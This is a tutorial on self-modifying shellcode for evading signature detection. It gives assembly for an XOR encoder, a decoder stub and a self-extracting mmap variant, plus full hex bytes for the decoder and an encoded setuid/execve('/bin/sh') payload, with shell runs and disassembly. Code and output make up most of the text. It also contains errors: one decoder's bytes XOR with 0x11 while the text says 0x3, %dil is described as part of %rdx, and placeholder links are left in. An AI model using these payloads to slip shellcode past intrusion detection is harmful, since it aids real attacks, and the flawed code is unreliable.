Shellcode/Self-modifying

Polymorphic and other self-modifying (such as self-extracting) shellcode can be used to obfuscate or help prevent the reverse engineering of the shellcode. Additionally, it can help to prevent signature-based shellcode recognition on the network layer by NIDS or NIPS systems. The example in this article is based on shellcode loaders (sources). Sources to the code in this section available in the appendix or by downloading shellcodecs.

The encoder

We will be using XOR encoding for this, but the method could easily be expanded. There are hundreds of encoding, encryption, and compression algorithms that could be implemented such as xor, inc, dec, add, sub, imul, idiv and any other function that can be reversed to its original state, this is just a small example. For this encoder, we will just count the characters in the shellcode and xor each character with 0x3 as we loop, then print the encoded binary. This binary can be written to file or piped to hexdump or ndisasm for further analysis.

64 bit

count_chars: cmpb %dil, (%rbx, %rsi, 1) je write xor $0x3, (%rbx, %rsi, 1) inc %rsi jmp count_chars #counts characters and xor encodes them   write: mov $0x1, %rax mov $0x1, %rdi mov %rsi, %rdx mov %rbx, %rsi syscall

In this 64 bit snippet of our encoder (//source can be found here:xxxxx//), we are counting the number of characters that were passed to the encoded as a command line argument. We begin by comparing the lowest bit of the %rdx register, %dil, which is zero and the first character of our argument we stored in %rbx. If the byte we tested is equal to zero we jump to our write label to print our encoded output to stdout. If the byte is not equal we xor it by 0x3 (note that 0x3 was chosen because the shellcode used does not contain this byte, this will need be to be changed if the shellcode has 0x3) and increment our counter which is stored in %rsi and jump back to the top of our counter label. The reason why we must count our characters as we process them is because the write syscall needs to know the number of bytes to print off the stack so instead of looping once to count the characters and looping again to encode them we simply combined the two processes to make our code faster and shorter.

x86 source code (32 bit):

count_chars: cmpb %dl, (%ecx, %ebx, 1) je write xor $0x3, (%ecx, %ebx, 1) inc %ebx jmp count_chars #counts characters and xor encodes them   write: push $4 pop %eax mov %ebx, %edx push $2 pop %ebx int $0x80

The difference between the 64 bit and 32 bit code is subtle. The main difference is that in the compare instruction we are not comparing %dil, but rather %dl because the %dil register does not exist in 32 bit code. Another difference is the write label. It instead uses the 32 bit syscall calling convention (//link to calling conventions and sys tables//) for write instead of the 64 bit calling convention (//link to calling conventions and sys tables//).

The unpacker

Now, we will create our decoding shellcode, this will be essentially the same as the loader code with some changes.

First, we need to read the shellcode from the stack instead of as command line arguments. To do this, we will need to implement a getpc (//link to getpc code above//) function to retrieve the current instruction pointer so we can find our shellcode on the stack. When calling forwards, null bytes are added as operands to the call instruction unless call short is explicitly defined but ultimately it is always best to call backwards for multiple reasons (including the call stack). So, we start our code with a "jmp start" instruction.

jmp start

Getpc is called and the address of the next instruction is returned in %eax or %rbx based on architecture, then we add the number of bytes in the rest of the decoder code to it; this gets the absolute address of our encoded shellcode on the stack. To find our decoder offset we must first complete our decoder code and then run it through objdump. From there we will take our address immediately after the getpc call and subtract it from the last address of our decoder (remember to add some bytes to the last address for the instructions on that line.)

For example:

0804807b <start>: 804807b: e8 f7 ff ff ff call 8048077 <getpc> 8048080: 89 c2 mov %eax,%edx 8048082: 83 c2 2a add $0x2a,%edx   #shortened for easier reading   80480a8: cd 80 int $0x80

The address that would be returned from the getpc call would be 8048080 and our last address in the application is 80480a8 which we must add two bytes to since there is a 2 byte instruction on that line. The real end address of our decoder in this example would be 80480aa. From here we take our returned address and our ending address and substract them to find our offset to add. In this case the offset to add would be 0xAA - 0x80 which is 0x2A.

start: call getpc add $0x31,%rbx # add the length of the rest of the decoder to the instruction pointer to get the address of the encoded payload

Next, we push the address of the shellcode on the stack and call our "inject" function.

push %rbx # push address of shellcode call inject

The call instruction pushes the address of the next instruction (where the program is supposed to return to) onto the stack and then jumps to the function, in this case that address will be our exit function. The return address (the address of exit) is then popped off of the stack. We pop our return address from the stack so that we can change our return address.

inject: pop %rdi # pop the return address (to exit)

Then we initialize our copying loop:

xor %rsi, %rsi # zero out counter push %rsi pop %rdi

First we make sure that the encoded shellcode hasn't ended (our shellcode in this example is 0x20 terminated, choose a byte that is not used in your shellcode if 0x20 is in use).

inject_loop: cmpb $0x20, (%rax, %rsi, 1) je inject_finished

If not, we decode a single byte by xor'ing it against our encode-byte:

movb (%rax, %rsi, 1), %r10b xor $0x3, %r10b

Then we copy the xor'd byte back into the shellcode:

movb %r10b, (%rax, %rsi, 1)

Now we increment our counter and start again at the beginning of inject_loop:

inc %rsi jmp inject_loop

After the loop is completed, we append the ret opcode (0xc3) to the decoded shellcode.

inject_finished: inc %rsi movb $0xc3, (%rax, %rsi, 1) # append 0xc3 (the ret opcode)

Next, we form a call stack by pushing the original return address (the address of exit that we popped off the stack at the beginning of this function), and then the address of our shellcode and return. Because the address of our shellcode has replaced the address of exit on our stack, we will return into the shellcode, which will in turn return into our exit function, exiting cleanly.

push %rdi # push original return address onto stack push %rax # push address of shellcode to stack ret # return into shellcode

When the shellcode finishes, it will execute the "ret" instruction we appended (0xc3) and return into exit; exiting cleanly.

Our complete decoder is:

\xeb\x2c\x5f\x48\x31\xf6\x56\x5f\x80\x3c\x33\x20\x74\x11\x44\x8a\x14\x33\x41\x80\xf2\x11\x44\x88\x14\x33\x48\xff\xc6\xeb\xe9\x48\xff\xc6\xc6\x04\x33\xc3\x57\x53\xc3\x48\x8b\x1c\x24\xc3\xe8\xf6\xff\xff\xff\x48\x83\xc3\x0e\x53\xe8\xc5\xff\xff\xff\x6a\x3c\x58\x48\x31\xff\x0f\x05

Self-extracting code

Self-extracting shellcode can extract itself onto executable memory, to do this we will perform a call to mmap() as detailed in this section. We will use the same shellcode as before but with some changes. In the start function we will call mmap() and save the pointer in %rax. We push this onto the stack before the address to the shellcode and call inject. We pop this address into %rcx and inside the inject_loop we copy the xor'd byte into the mmap()'d memory instead of back into the shellcode. Finally, we return into the mmap()'d memory instead of the shellcode. The completed code:

inject_loop: cmpb $0x20, (%rax, %rsi, 1) je inject_finished movb (%rax, %rsi, 1), %r10b xor $0x3, %r10b movb %r10b, (%rcx, %rsi, 1) inc %rsi jmp inject_loop   inject_finished: inc %rsi movb $0xc3, (%rcx, %rsi, 1) push %rdi push %rcx ret

Tying it together

To use this shellcode, your payload should look like:

 [decoder shellcode][encoded payload][0x20]

A usage example:

 ╭─user@host ~  
 ╰─➤    ./packer "$(echo -en "\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58
 \x0f\x05");" |hexdump -C |sed 's/^[0-9a-f]........//g' |sed 's/|.*|$//g' |sed 's/  / /g' |sed 's/ /\\x/g' |sed 's/\\x\\x//g' |sed 's/\\x$//g' |grep x |awk '{printf("%s ", $0)}' |sed 's/ //g'

\x4b\x32\xfc\x69\x6a\x5b\x0c\x06\x54\x54\x5d\x59\x4b\xbc\x69\x2c\x61\x6a\x6d\x2c\x70\x6b\x4b\xc2\xec\x0b\x54\x57\x5c\x69\x38\x5b\x0c\x06

• Add "\x20" to the end of our newly encoded shellcode as a terminator.
• Append the newly terminated shellcode to the decoder shellcode.
• Test the polymorphic code:

 ╭─user@host ~  
 ╰─➤  ./loader "$(echo -en 
 "\xeb\x2c\x5f\x48\x31\xf6\x56\x5f\x80\x3c\x33\x20\x74\x11\x44\x8a\x14\x33\x41\x80\xf2\x11\x44\x88\x14\x33\x48\xff\xc6\xeb\xe9\x48\xff\xc6\xc6\x04\x33
  \xc3\x57\x53\xc3\x48\x8b\x1c\x24\xc3\xe8\xf6\xff\xff\xff\x48\x83\xc3\x0e\x53\xe8\xc5\xff\xff\xff\x6a\x3c\x58\x48\x31\xff\x0f\x05\x4b\x32\xfc\x69\x6a
  \x5b\x0c\x06\x54\x54\x5d\x59\x4b\xbc\x69\x2c\x61\x6a\x6d\x2c\x70\x6b\x4b\xc2\xec\x0b\x54\x57\x5c\x69\x38\x5b\x0c\x06\x20")"
 [rorschach@bastille ~]$ exit
 exit
 ╭─user@host ~  
 ╰─➤  

When we encode the 34 byte /bin/sh shellcode and disassemble it, it looks like:

╭─user@host ~ ╰─➤ ./packer "$(echo -en "\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58 \x0f\x05");" > shellcode; objdump -b binary -m i386 -M x86-64 -D shellcode shellcode: file format binary Disassembly of section .data: 00000000 <.data>: 0: 4b 32 fc rex.WXB xor %r12b,%dil 3: 69 6a 5b 0c 06 54 54 imul $0x5454060c,0x5b(%rdx),%ebp a: 5d pop %rbp b: 59 pop %rcx c: 4b bc 69 2c 61 6a 6d rex.WXB movabs $0x6b702c6d6a612c69,%r12 13: 2c 70 6b 16: 4b c2 ec 0b rex.WXB retq $0xbec 1a: 54 push %rsp 1b: 57 push %rdi 1c: 5c pop %rsp 1d: 69 38 5b 0c 06 38 imul $0x38060c5b,(%rax),%edi ╭─rorschach@bastille ~ ╰─➤

This doesn't look anything like an execve() routine. If we disassemble the entire payload we get:

╭─user@host ~ ╰─➤ echo -en "\xeb\x2e\x5f\x58\x59\x48\x31\xf6\x56\x5f\x80\x3c\x30\x20\x74\x11\x44\x8a\x14\x30\x41\x80\xf2\x03\x44\x88\x14\x31\x48\xff\xc6\xeb\xe9\x48\xff\xc6 \xc6\x04\x31\xc3\x57\x51\xc3\x48\x8b\x1c\x24\xc3\xe8\xf6\xff\xff\xff\x48\x83\xc3\x31\x6a\x09\x58\x48\x31\xff\x57\x5e\x48\xff\xc6\x48\xc1\xe6\x12\x6a\x07\x5a\x6a \x22\x41\x5a\x57\x57\x41\x58\x41\x59\x0f\x05\x50\x53\xe8\xa4\xff\xff\xff\x6a\x3c\x58\x48\x31\xff\x0f\x05\x4b\x32\xfc\x69\x6a\x5b\x0c\x06\x54\x54\x5d\x59\x4b\xbc \x69\x2c\x61\x6a\x6d\x2c\x70\x6b\x4b\xc2\xec\x0b\x54\x57\x5c\x69\x38\x5b\x0c\x06\x20" > shellcode; objdump -b binary -m i386 -M x86-64 -D shellcode   shellcode: file format binary     Disassembly of section .data:   00000000 <.data>: 0: eb 2e jmp 0x30 2: 5f pop %rdi 3: 58 pop %rax 4: 59 pop %rcx 5: 48 31 f6 xor %rsi,%rsi 8: 56 push %rsi 9: 5f pop %rdi a: 80 3c 30 20 cmpb $0x20,(%rax,%rsi,1) e: 74 11 je 0x21 10: 44 8a 14 30 mov (%rax,%rsi,1),%r10b 14: 41 80 f2 03 xor $0x3,%r10b 18: 44 88 14 31 mov %r10b,(%rcx,%rsi,1) 1c: 48 ff c6 inc %rsi 1f: eb e9 jmp 0xa 21: 48 ff c6 inc %rsi 24: c6 04 31 c3 movb $0xc3,(%rcx,%rsi,1) 28: 57 push %rdi 29: 51 push %rcx 2a: c3 retq 2b: 48 8b 1c 24 mov (%rsp),%rbx 2f: c3 retq 30: e8 f6 ff ff ff callq 0x2b 35: 48 83 c3 31 add $0x31,%rbx 39: 6a 09 pushq $0x9 3b: 58 pop %rax 3c: 48 31 ff xor %rdi,%rdi 3f: 57 push %rdi 40: 5e pop %rsi 41: 48 ff c6 inc %rsi 44: 48 c1 e6 12 shl $0x12,%rsi 48: 6a 07 pushq $0x7 4a: 5a pop %rdx 4b: 6a 22 pushq $0x22 4d: 41 5a pop %r10 4f: 57 push %rdi 50: 57 push %rdi 51: 41 58 pop %r8 53: 41 59 pop %r9 55: 0f 05 syscall 57: 50 push %rax 58: 53 push %rbx 59: e8 a4 ff ff ff callq 0x2 5e: 6a 3c pushq $0x3c 60: 58 pop %rax 61: 48 31 ff xor %rdi,%rdi 64: 0f 05 syscall 66: 4b 32 fc rex.WXB xor %r12b,%dil 69: 69 6a 5b 0c 06 54 54 imul $0x5454060c,0x5b(%rdx),%ebp 70: 5d pop %rbp 71: 59 pop %rcx 72: 4b bc 69 2c 61 6a 6d rex.WXB movabs $0x6b702c6d6a612c69,%r12 79: 2c 70 6b 7c: 4b c2 ec 0b rex.WXB retq $0xbec 80: 54 push %rsp 81: 57 push %rdi 82: 5c pop %rsp 83: 69 38 5b 0c 06 20 imul $0x20060c5b,(%rax),%edi